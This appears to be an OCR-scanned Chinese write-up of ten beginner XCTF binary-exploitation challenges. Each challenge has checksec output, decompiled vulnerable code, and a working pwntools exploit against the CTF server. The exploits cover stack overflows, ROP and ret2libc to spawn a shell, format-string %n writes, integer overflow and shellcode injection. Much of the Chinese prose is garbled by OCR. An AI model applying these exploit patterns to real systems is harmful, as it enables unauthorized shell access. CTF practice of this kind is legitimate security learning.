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1. get_shell

B, EELEEHL/Dbin/sh

int _ cdecl main(int argc, const char **argv, «
{
puts("0K,this time we will get a shell.");
system("/bin/sh");
return 9;

h
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AR REE A REIncEERE. o o
& 7 F pwntoolff remote & £ i)

from pwn import *

io = remote("111.200.241.244", 64209)
io.interactive()

2. hello pwn

woodwhale@ubun:~/ctftools/xctf2.$ checksec xctf2
[#] '/home/woodwhale/ctftools/xctf2./xctf2'

Arch: amd64-64-1little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE: No PIE (0x400000)
e S M R L e g e S e |

| _int6d _ fastcall main{int al, char **a2, char
{
alarm(@x3Cu);
setbuf(stdout, OLL);
puts(“~ welcome to ctf ~e "Y;
puts("lets get helloworld for bof");
read(@, &unk_601068, @x16ulLl);
if ( dword_60106C == 1853186401 )
sub_480686();
return @LL;

A AE Blread 5 A\ 112 0x601068 kit (4 H % , 17 T T FrOifiE ) 240 BT 1) 2 060106 C Hiu bk f¥ #0482 75 291853186401
BT RN EENFHRR+4T KRR, FreABRATT U fEread i 72 b SLHLE 35

from pwn import *
io = remote("111.200.241.244", 49847)
payload = b"biox" + p64(1853186401)

io.sendline(payload)
io.interactive()

3. levell



woodwhale@ubun:~/ctftools/xctf3.$ checksec xctf3
[#] '/home/woodwhale/ctftools/xctf3./xctf3’

Arch: amd64-64-1ittle
RELRO: No RELRO

Stack: No canary found
NX: NX enabled

PIE: No PIE (0x400000)

mainig 1 & Bk B —wuinerable_function

int _ cdecl main(int argc, const char **ar

{
write(1l, "Hello, World\n", ©xDull);
return vulnerable function(1LL);

b

—ERRAENREY, RErsplEErbpHIfEE A0x80, FrUAHBEBEEMIT T, B EHSF i Mpre ebp
WAMEBR —RKE, 64MEFS, BHEMRT6ANSH B dHrdis rsiv rdx. rox. r8. rOFRHI, ZEHSBERERST.

B AIX LR ATTK bin/shiE Nedif, X FEsystem ik $UHI 5 — AN St 2 /binsh T
|ssize t vulnerable function(}

{
char buf[128]; // [rsp+8h] [rbp-88h] BYREF

return read(@, buf, @x200ull);
I

from pwn import *

io = remote("111.200.241.244",54678)
elf = ELF("./xctf3")

binsh_addr = next(elf.search(b"/bin/sh"))
system_addr = elf.symbols["system"]
pop_edi_addr = 0x0000000000400663

payload = b"a"*0x80 + b"bibxbibx" + p64(pop_edi_addr) + p64(binsh_addr) + p64(system_addr)

io.sendafter("Hello, World\n", payload)
io.interactive()

4. level2



woodwhale@ubun:~/ctftools/xctf4.$ checksec xctf4
[*#] '/home/woodwhale/ctftools/xctf4./xctf4'

Arch: i386-32-1ittle
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (0x8048000)

AT RTAB20MLH-0 -

#E320LidaF 43 #7, maini $HF —Swuinerable_functionski %, N4t

lint _ cdecl main(int argc, const char *#
N
il wulnerable_function();
| system("echo 'Hello World!'");
i return @;

bl

gl

B 2 A AR Y

s5ize t vulnerable function()

{
char buf[136]; // [esp+Bh] [ebp-88h] BYREF

system("echo Input:");
return read(@, buf, @x106u);

}

TATLEshift+f1 2 F 2] T /bin/shir) ikt

Address Length Type String
[5] LOAD:080481... 00000013 Jlib/ld-linux.s0.2

(5] LOAD:080482... 0000000A libc.so.6
[5] LOAD:080482... 0000000F _10_stdin_used
[5] LOAD:080482... 00000007 system

[5] LOAD:080482... 00000012 __libc_start_main

O OO D Oy O DY

[5] LOAD:080482... 0000000F __gmon start__

"""" LOAD:080482... | 0000000A GLIBC 2.0

(5] .rodata:08048... 0000000C echo Input:

[E -rodata:08048... 00000014 echo 'Hello World!"
[E .eh_frame:080... 00000005 "

[s] .data:0804A024 00000008

FreA B4 Hexp



from pwn import *

io = remote("111.200.241.244", 63107)
elf = ELF("./xctf4")

system_plt = elf.plt["system"]
binsh_addr = next(elf.search(b"/bin/sh"))

payload = b"a"*@x88 + b"biex" + p32(system_plt) + b"biex" + p32(binsh_addr)

io.send(payload)
io.interactive()

5. string

woodwhale@ubun:~/ctftools/xctf5.5 checksec xctf5
[*] '/home/woodwhale/ctftools/xctf5./xctf5'
Arch: amd64-64-1little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
RTE: No PIE (0x400000)

canaryFt g, Bt DABk v 2 Beak
FEBHstring (FRH) , BAMRREAMLERFET
i\ 644zidaF 2 Hr

|_int64 _ fastcall main{int al, char **a2, char **a3)

{
_DWORD *v4; // [rsp+18h] [rbp-78h]

setbuf(stdout, OLL);
alarm(@x3Cu);
sub_400996(60LL);

vd = malloc(8ulL);

*yd = 68;

va[1] = 85;

puts(“"we are wizard, we will give you hand, you can not defeat dragon by yourself ...");
puts("we will tell vyou two secret ...");

printf("secret[@] is #x\n", vi);
printf("secret[1] is #x\n", v4 + 1);
puts(“do not tell anyone ");
sub_4@0D72(v4);

puts("The End..... Really?");

return @LL;

B rmainE s, SIRBATERARBERIRE AL, 252 vA0)FvA[1]R ik, SRJ53EAsub_400D72ix MRk, EAKISH
RVA[OlIX AN TE 4T



unsigned int6d  fastcall sub 400D72( inted al)

{
char s[24]; // [rsp+18h] [rbp-208h] BYREF
unsigned  inted v3; // [rsp+28h] [rbp-8h]

v3 = _ readfsgword(@x28u);
puts("What should vour character’'s name be:");
_is50c99 scanf("%s", s);
if ( strlen(s) <= @xC )
{
puts(“Creating a new player.");
sub_488A7D();
sub_488BB9();
sub_4@8CAc(al);
¥

else

{
}

return _ readfsqword(@x28u) ™ v3;

puts("Hei! What's up!™);

43 ¥rsub_400D 723X AN ik $
BHARMBIMA—ANRAFP L, REARXAMHFERBRT12, MRRF12EKERLLR
FrARAT AN —AN /N F 12K E username

RIEHR =R EE RN, sub_400A7D. sub_400BB9. sub_400CA6, HEMI—MAar



char s1[8]; // [rsp+8h] [rbp-18h] BYREF
unsigned  int64 v2; // [rsp+8h] [rbp-8h]

vZ2 = _ readfsqword(@x28u);

puts(" This is a famous but guite unusual inn. The air is fresh and the");
puts("marble-tiled ground is clean. Few rowdy guests can be seen, and the");
puts("furniture looks undamaged by brawls, which are very common in other pubs™);
puts("all around the world. The decoration looks extremely valuable and would fit");
puts("into a palace, but in this city it's quite ordinary. In the middle of the");
puts("room are velvet covered chairs and benches, which surround large oaken");
puts("tables. A large sign is fixed to the northern wall behind a wooden bar. In");
puts("one corner you notice a fireplace.");

puts("There are two obvious exits: east, up.");

puts("But strange thing is ,no one there.");

puts("So, where you will gofeast or up?:");

while ( 1 )
{
_is0c99 _scanf("%s", =s1);
if ( lstremp(s1, "east") || !stremp(s1l, "east") )
break;

puts{"hei! I'm secious!");
puts{"So, where you will go?:");
}
if ( strcemp(sl, "east™) )
{
if ( !stremp(s1, "up™) )
sub_4089DD();
puts{"YOU KNOW WHAT YOU DO?");
exit(e);
}

return _ readfsqword(0x28u) ™ v2;

B 56k FEsub_400A7D

W ATLLE, B RATERE T Meastor up?

EFB T HEKstrempHl i, R BetkFEeastBh /&

RERETE MG, FEhReast, FIlEBARPATT CREXANMHWERLE. . 2 sSTECHUpKATRL)



unsigned int64 sub 480BB9()
{
int v1; // [rsp+4h] [rbp-7Ch] BYREF

__inté4d v2; ff [rsp+8h] [rbp-78h] BYREF

char format[104]; // [rsp+18h] [rbp-78h] BYREF
unsigned  inted v4; // [rsp+78h] [rbp-8h]

vd =  readfsgword(@x28u);
v2Z = BLL;
puts("You travel a short distance east.That's odd, anyone disappear suddenly™);
puts(", what happend?! You just travel , and find another hole");
puts("You recall, a big black hole will suckk you into it! Know what should you do?");
puts(“"go into there(l), or leave(@)7:");
_is50c99 scanf("%d", &vl);
if (vl==1)
{
puts("A voice heard in your mind")};
puts(”'Give me an address'");
_iso0c99 _scanf("%1d", &v2);
puts("And, vou wish is:");
_iso0c99_scanf("%s", format);
puts("Your wish is");
printf(format);
puts("I hear it, I hear it....");
}

return _ readfsqword(@x28u) ~ vi;

SR 5 A”&sub_400BB9

putsfIt A HE, MBATEFE10r0, 14 BE4kSE
BIFRRA TN — 16755 K /N bk
RIEEBAN—wish, RJEprintiX 4 wish
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Junsigned int64  fastcall sub 480CAG6({ DWORD *al)
H
| woid *v1; ff rsi

unsigned  int64 v3; // [rsp+l18h] [rbp-8h]

| v3 = _ readfsqword(Bx28u);

puts("Dragon say: HaHa! you were supposed to have a normal™);
| puts("RPG game, but I have changed it! you have no weapon and ");
| puts("skill! you could not defeat me !");
puts("That's sound terrible! you meet final boss!but you level is ONE!™);
if ( *al == al[1] )
{
puts("Wizard: I will help you! USE YOU SPELL"};
| vl = mmap(@LL, @x1@eeulLL, 7, 33, -1, OLL);
| read(@, vl, @x1@0uLL);
' ((void (__fastcall *){_QWORD))v1)(@LL);
}

| return __ readfsqword(0x28u) ™ v3;

B J5 —>sub_400CAG6(a1)

pme—ry e maara seaa

sub_400072(}1) ;
AT a1XNSH, al2k, RAITE%EEFsub_400D72

sub_400D72/ N\ T v4XAN R4 RIMAE, Tisub_400D72iX /N ¥ KIS $ £al

ljunsigned int64 _ fastcall sub_408D72(__ int64|al)

{
char s[24]; // [rsp+18h] [rbp-28h] BYREF
unsigned _ int6d v3; // [rsp+28h] [rbp-8h]

1

2

3

1

5

6l v = _ readfsgword(@x28u);
7| puts("What should vour character's name be:");
8 _isoc99 _scanf("%s", =);

g9 if ( strlen(s) <= @xC )

9 1

1 puts(“Creating a new player.");
2 sub_480A7D();

3 sub_4@8BB9();

1

5

b

7

]

9

B

1

sub_400CA6
¥

else

{
puts("Hei! What's up!™);

¥
return _ readfsgword(®x28u) *~ v3;

Bt LAFRATT AT LAAR 2 F B A SRR RS S a1 SR vA R bk, 30 SR A I8 2 Bimmap 7Bt — A W7 K/ I0x1000 8 X 3iv, 2R
JEBATTRT AT v BN 0x1 00K /) i He 37

ix Bk AT DAAE 3 B N — Btamd64 Kishellcode sk 3k Bl shell



S
if ( *al == al[1] )
{
puts{"Wizard: I will help you! USE YOU SPELL");
vl = mmap(@LL, @x1@eeulLL, 7, 33, -1, OLL);
read(@, vl, @x100uLL);
((void (__ fastcall *){_QWORD))v1)(@LL);
¥

return _ readfsqword(0x28u) ™ v3;

RERMKa1[0 a1/, HHEv4[0] = v4[1]

AT RS VAORE L85, F e AL - 75 8B !

*vd = 68;
vA[1] = 85;

FE IR B printfry, AN B E

A voice heard in your mind
'Give me an address'

And, you wish is:
AAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p
Your wish is

AAAA-Ox7Tddfde57723-(nil) -0x7fddfcf7cle7-0xd-(nil)-0x10060301810x1}0x2d70252d414
14141-0x70252d70252d7025-0x252d70252d70252d-0x2d70252d70252d70-0x70252d70252d702
5-0x252d70252d70252d-0x400070-0x7ffec0d10490I hear it, I hear it....

AT A KaddressZ1, MXAN0x1Hprintfh IR H8A, WERprintflI 8N S8, HMEFTMEAUFRBNSH,
LM EART7

Prolg AL 775 e A B 2 "a"85+"%78n", BIHS85F I TR H, REEAHTNISH, RNETNSEERBATHIvA0[EH 1
ik (FEHTTHE BIFEFFIT 46 puts i)

Fr AR Eexp

from pwn import *
io = remote("111.200.241.244",55215)

io.recvuntil("secret[@0] is ")

v4_addr = int(io.recvuntil("\n",drop=True),16)

io.sendlineafter("name be:", b"woodwhale")

io.sendlineafter("east or up?:", b"east")
io.sendlineafter("leave(0)?:", b"1")

io.sendlineafter("address'", str(v4_addr))

io.sendlineafter("And, you wish is:", b"a"*85+b"%7$n")
io.sendafter("USE YOU SPELL", asm(shellcraft.amd64.sh(),arch="amd64"))
io.interactive()

6. guess_num



woodwhale@ubun:~/ctftools/xctf6.5 checksec xctfé
[#] '/home/woodwhale/ctftools/xctf6./xctf6’

Arch: amd64-64-1ittle

RELRO: Partial RELRO

Stack: Canary found

NX: NX enabled

PIE: PIE enabled

RPERETF T, FIXAE whEE B T
¥#ENidat 2 #r
SeFEmainiki

v9 =  readfsgword(@x28u);
setbuf(stdin, @LL);
setbuf(stdout, @LL);
setbuf(stderr, @LL);

vl = @;

vb = @;

*(_QWORD *)seed = sub_BBB();
puts("----------mmm o ")
puts("Welcome to a guess number game!");
puts("----------mmm o ")

puts("Please let me know your name!");
printf("Your name:");

gets(v7);
srand(seed[0]);
'FDI"(i:a;i{:g; ++:i.::l
{
vo = rand() % 6 + 1;
printf("------------- Turn:%d------------- \n", (unsigned int)(i + 1));

printf("Please input your guess number:");
_1s50c99 scanf("%d", &vid);
puts("-----------"-"-—mmme - "y
if (vl 1= wvo )
{
puts("GG!");
exit(1);
¥
puts(“Success!");
¥
sub C3E();
return @LL;

¥

T Je# Ausername

RIGA T —A Uhseed[O1FH T HIBEHLEL

R IEfor B SE M1 0K H 7

£Xt4flag

RNFBEMB SR S Rrseed0], EEICARMNBERNS T, REHTHT, BT —FEREHE

XEBRNER VI HubE



|-e000000000000030 var_30 db 32 dup(?)

FBE Eseed[0]H Hu ik

- 0ePe00000R0E0R10 seed dd 2 dup(?)

%20

BMNMIERBSHREFENRS, FTUE-NSEEMIERIC, XAERNIH T LB gets i £ # #iseed[O)KIH, WBEAN
0x20

expin
X B ffifrom ctypes import *2& 5 N\ ciE& 5 B R H— N E

XAEFATHE AT LAfE F srand & #0 T

from pwn import *
from ctypes import *

io = remote("111.200.241.244",63989)
libc = cdll.LoadLibrary("/lib/x86_64-1inux-gnu/libc.so0.6")

libc.srand(2)
payload = b"b"*0x20 + p64(2)

io.sendlineafter("name:",payload)

for i in range(19):
io.sendlineafter("number:",str(libc.rand()%6+1))

io.interactive()

7. int_overflow

woodwhale@ubun:~/ctftools/xctf7.5 checksec xctf7
[*#] '/home/woodwhale/ctftools/xctf7./xctf7'

Arch: i386-32-1ittle
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (0x8048000)

X NBA % 11x86
e\ 32frida" 43t
BEAEFMH, Klcatflag

4 .rodata:08048... 00000009 C



Emaink

int _ cdecl main(int argc, const char **argv, const char **envp)

{
int v4; // [esp+Ch] [ebp-Ch] BYREF

setbuf(stdin, @);
setbuf(stdout, @);
setbuf(stderr, 0);

puts ("= --- oo ");
puts(“~ Welcome to CTF! ~=");
puts(” 1.Login "Y;
puts(” 2.Exit "Y;
pUts ("= - oo ");

printf("Your choice:");
__i50c99 _scanf("%d", &v4);
if (vd ==1)
{
login();
¥
else
{
if (vd ==2)
{
puts("Bye~");
exit(@);
¥
puts("Invalid Choice!");

¥

return @;

&AL 0r2, 13k Nlogin, E2IBH . FrLlig1.
B Nlogin() & $+ 2#r

fint login(}
H
i| char buf[512]; // [esp+8h] [ebp-228h] BYREF
char s[48]; [/ [esp+288h] [ebp-28h] BYREF

| memset(s, 8, @x20u);

| memset(but, 8, sizeof(but));

i| puts("Please input vour username:");
| read(®, s, @x19u)};

| printf("Hello %s\n", s);
puts("Please input vour passwd:");
read(®, buf, Bx199u);

return check passwd(buf);

B2 E0x19K E username, X4 BKEREH & EERH

G LELOX199 I passwd, X B HA K, HEFE T HbufflebpHIBEE, 0x228, FATRBEILAOXI99KE, FrLAEREHEAR
T

EFEFLT FTEKIcheck_passwdi& %, £ ASECABRNIRINIG AKIbuf



char *__cdecl check_passwd{char *s)
{
char *result; // eax
char dest[11]; // [esp+4h] [ebp-14h] BYREF
unsigned _ int8 v3; // [esp+Fh] [ebp-9h]
v3 = strlen(s);
if (w3 ¢=3u || v2 > 8u)
{
puts{"Invalid Password");
result = (char #)fflush(stdout);
¥

else

{

puts{“Success");
fflush(stdout);
result = strcpy(dest, s);

h

return result;

BRVIE—ANEHF SRS, tHRARRIMNIRIE ANKbUKE, WmEv3<=3u GXEKuiEi£unsigned, HELRTHSE, Bt
£011) , B&EV3>8u (WHLA11111111, 103EH|FH255) , FB-AXFERA A FIbufsk 2 W7 A T2

nfaf Lk 3X AN A B A true e 2 5 8 B Eint_overflow 8 B AHSG !
B Aystrien() iR EHE & —Nint, 4FWKE, &8I, WRBAIMbufKE K F2558 KAEMH4WR?

B AT bUf K B 263, ikt Z1 0000 0111, <#strlenizE 80000 0111, HMAXAM111>011, FH
111<11111111, XRERR R Th 8aid

B )5 Hstrepys st ldestfik R, destfiEebpli B A0x14, FiblfEexp

from pwn import *

io = remote("111.200.241.244",57657)
elf = ELF("./xctf7")

io.sendlineafter("choice:",b"1")
io.sendafter("username:",b"woodwhale")

cat_flag_addr = next(elf.search(b"cat flag"))

system_plt = elf.plt["system"]

payload = b"a"*0x14 + b"biox" + p32(system_plt) + b"bix0" + p32(cat_flag_addr)
payload += b"a"*(263-int(len(payload)))

io.sendlineafter("passwd:",payload)
io.interactive()

8. cgpwn2



woodwhale@ubun:~/ctftools/xctf8.5 checksec xctfs8
[*#] '/home/woodwhale/ctftools/xctf8./xctf8'

Arch: i1386-32-1little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
_P_IE_: ) No 'PIE (BEKSE_V-'ISBEEB)
HNERZ [K1x86
¥ 320zida

EERATRE, BHEN

Address Length Type String
@ LOAD:080481... 00000013 C Jlib/ld-linux.s0.2
@ LOAD:080482... 0000000A C libc.so.6
s LOAD:080482... 0000000F C 10 stdin_used
@ LOAD:0B0482... 00000006 C stdin
@ LOAD:0B0482... 00000006 C fgets
@ LOAD:0B0482... 00000007 C stdout
@ LOAD:0B0482... 00000007 C stderr
C

B LOAD:080482... 00000007 system

@ LOAD:080482... 00000007 C setbuf
s LOAD:080482... 00000012 C _libc_start_main
s LOAD:080482... 0000000F C __gmon start_
@ LOAD:080483... 0000000A C GLIEC 2.0
@ -rodata:08048... 0000000C C echo hehehe
s .rodata:08048... 00000019 C please tell me your name
s .rodata:08048... 00000027 C hello,you can leave some message here:
s .rodata:08048... 0000000A C thank you
@ .eh_frame:080... 00000005 C G\
4 Hrmainik $
L8 vlew—8 [ U=l CEELILGCOLETA B
lint _ cdecl main(int argc, const ch
]
5{ setbuf(stdin, @);
1| setbuf(stdout, @);
i| setbuf(stderr, 8);
3| hello();
7| puts({"thank you");
i) return @;
dh

EREMWX, RiEHANheloR . BBITFER
EATE S Nhelloig $()



__intle *v@; [/ eax

int v1; // ebx

unsigned int v2; // ecx

__intle *v3; [/ eax

__intl6 s; ff [esp+12h] [ebp-26h] BYREF
int ve; // [esp+14h] [ebp-24h] BYREF

vl = &s;
vl = 30;
it ( ((unsigned _ int8)&s & 2) =8 )
{
s = 8;
v = (__intle *)&vo;
vl = 28;
¥
vZ2 = @;
do
{

*(_DWORD *)&ve[v2 [ 2] = @;

vy += 4;
¥
while ( v2 < (vl & @xFFFFFFFC) );
vi o= &uB[v2 / 2];
if ((v1&2) 1=8)

*ydet+ = 0;
if ((v1&1) 1=8)

*(_BYTE *)v3 = @;
puts(“please tell me your name");
fgets(name, 5@, stdin);
puts(“hello,you can leave some message here:");
return gets((char *)&s);

XA ZH TR, BRNREREL, ERXEHERM, RINZENRgetsRMHMMRAE L, getsthAsZE, siEiEepbi0x26

XA AR B EA T Efget P AR ERM A R R TAGEAN T nameXNMNEEF, BATEAR T LLEnameF F M —A/bin/shei# cat flag, AR5
£ T Hgets & # i Fsystem(name), XFEREFREL T AR

HFEFEnamel ik, 7EbssBiHI0x0804A080

-bss:0884A080 aame db 34h dup(?)

M2 B Eexp

from pwn import *

io = remote("111.200.241.244",49222)
elf = ELF("./xctf8")

system_plt
binsh_addr

elf.plt["system"]
0x0804A080

io.sendlineafter("name","cat flag")

payload = b"b"*0x26 + b"biox" + p32(system_plt) + b"biox" + p32(binsh_addr)
io.sendlineafter("here:", payload)

io.interactive()



9. level3

[*] 'jhomé/woodwhale/ctftbolsfxtth/xctfg'

Arch: 1386-32-1little
RELRO: Partial RELRO
Stack: No canary found

NX: NX enabled

PIE: No PIE (0x8048000) |

LRX86, #EAida
B HES% T ANMibe, —F i ret2libc3

RETFHE, BERKAssystemfpltibht-F1)5 111

Address Length Type String

[5] LOAD:080481... 00000013 Jlib/ld-linux.s0.2
[5] LOAD:080482... 0000000A libc.so.6

[5] LOAD:080482... 0000000F 10 _stdin_used

[5] LOAD:080482... 00000012 _libc_start_main

C

C

C

C
[5] LOAD:080482... 00000006 C write
[5] LOAD:080482... 0000000F C __gmon_start__
-------- LOAD:080482... 0000000A C GLIBC 2.0
[E] .rodata:08048... 00000008 C Input:\n
[E] .rodata:08048... 0000000F C Hello, World™\n
[E] .eh_frame:080... 00000005 C 2"

maini A F KR X4 vulneravie_functionid %

int _ cdecl main(int argc, const char **argv, con:

{

vulnerable function();
write(1l, "Hello, World!\n", @xEu);
return @;

¥

A -getsi kit th

s5ize_t vulnerable function()

{
char buf[136]; // [esp+Bh] [ebp-88h] BYREF

write(1, "Input:\n", 7u);
return read(®, buf, 8x100u);
¥




REBET B SEERN IR

E—UAA RS, tinwite(), write.plt&EKwrite.gotR Bwrite B SZihlt, {HRwrite.got/R&NiE, Frhikwrite pltE &%
#, REwrtepltd 2B T, HXAHBEBIE T write.gotR H

FEWEA, write.plta B £ Rwrite.got, XANESRE AgotR P T write I E szihhl, BrUAE R4S T write.plt, FTUAEEIRRA
T write ) E szt

XEMERR, AHAKZEct-wikifret2libc3F &b —T

XBBRAFEZR BT wite i] LB HEE B H 69, Kwrite i gotR Huht sH 77 % fwrite ) B Szt , ARG EIE A H A1
libcsCfF, B ElibckZEHbl, 485 HRYEE: b2 F 3K system i HUR/bin/shi) B sz bk

BAVE — KBRS ATwrite R, FwriteKIgotR sh FAE I B SL AL ITED iR, ARG PAT_starti® #(, L7 B IREST

BREFFEIT, BRAIBET systemMlbin/shitydtihl, BEEAABokk T

from pwn import *

io = remote("111.200.241.244",57553)
libc = ELF("./libc_32.s0.6")
elf = ELF("./xctf9o")

write _got = elf.got["write"]
write plt = elf.plt["write"]
start_addr = elf.symbols[" start"]

payload = b"b"*0x88 + b"biox" + p32(write_plt) + p32(start_addr) + p32(1) + p32(write_got) + p32(4)
io.sendafter(b"Input:\n",payload)

write_true_addr = u32(io.recv(4))

libc_base = write_true_addr - libc.symbols|"write"]
system_true_addr = libc_base + libc.symbols|"system"]
binsh_true_addr = libc_base + next(libc.search(b"/bin/sh"))

payload = b"a"*0x88 + b"biox" + p32(system_true_addr) + b"biox" + p32(binsh_true_addr)
io.send(payload)
io.interactive()

10. CGfsb

woodwhale@ubun:~/ctftools/xctf10$ checksec xctfi@
[*#] '/home/woodwhale/ctftools/xctf10/xctf10'
Arch: 1386-32-1little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

BR324, HENidaH 4t

FEmainik



{
_DWORD buf[2]; // [esp+1Eh] [ebp-7Eh] BYREF
__inti16 v5; ff [esp+26h] [ebp-76h]
char s[10@]; // [esp+28h] [ebp-74h] BYREF
unsigned int v7; // [esp+8Ch] [ebp-16h]

v/ = _ readgsdword(@x14u);
setbuf(stdin, @);
setbuf(stdout, @);
setbuf(stderr, 0);

huf[@] = @;
buf[1] = @;
vs = 8;

memset(s, @, sizeof(s));
puts(“please tell me your name:");
read(@, buf, B@xAu);
puts(“”leave your message please:");
fgets(s, 100, stdin);
printf("hello %s", (const char *)}but);
puts("vyour message is:");
printf(s);
if ( pwnme == 8 )
{
puts(“you pwned me, here is your flag:\n");
system("cat flag");
¥
else
{
puts("Thank you!"});
¥

return @;

BHEED T A FR S
RERMBIpwnmeX AN B EE N8, A RATHEA] Lleat flag
B el wEE

woodwhale@ubun:~/ctftools/xctf10s5 ./xctf10
please tell me your name:

woodwhale

leave your message please:
AAAA—Hp—%p—Hp—%p—hp—%Dp—hp—Hp—hp—Hp—A%p
hello woodwhale
AAAA—Hp—%p—%p—%p—hp—%p—hp—Hp—hp—Hp—A%p
your message 1is:
AAAA—Oxffa8cele—0Oxf7ed4580—0x1—(nil)—0x1—0Oxf7f24990—0x6f770001—0x6877646
f—0Oxa656c61—0x414141411-0xe29480e2

Thank you!

M3 ws BN10

MLBEESexp



from pwn import *

io = remote("111.200.241.244",53590)
pwnme_addr = 0x0804A068

payload = p32(pwnme_addr) + b"biox%10$n"
io.sendlineafter("name:",b"woodwhale")

io.sendlineafter("please:",payload)
io.interactive()

X E K pwnme R E KA RS, TIRABMAKMILRAFTN, BrUARTHE R ZE4 4 charFfF, X#E4 +4 =8, RAIKIpwnmeiti LA
T A5 A8
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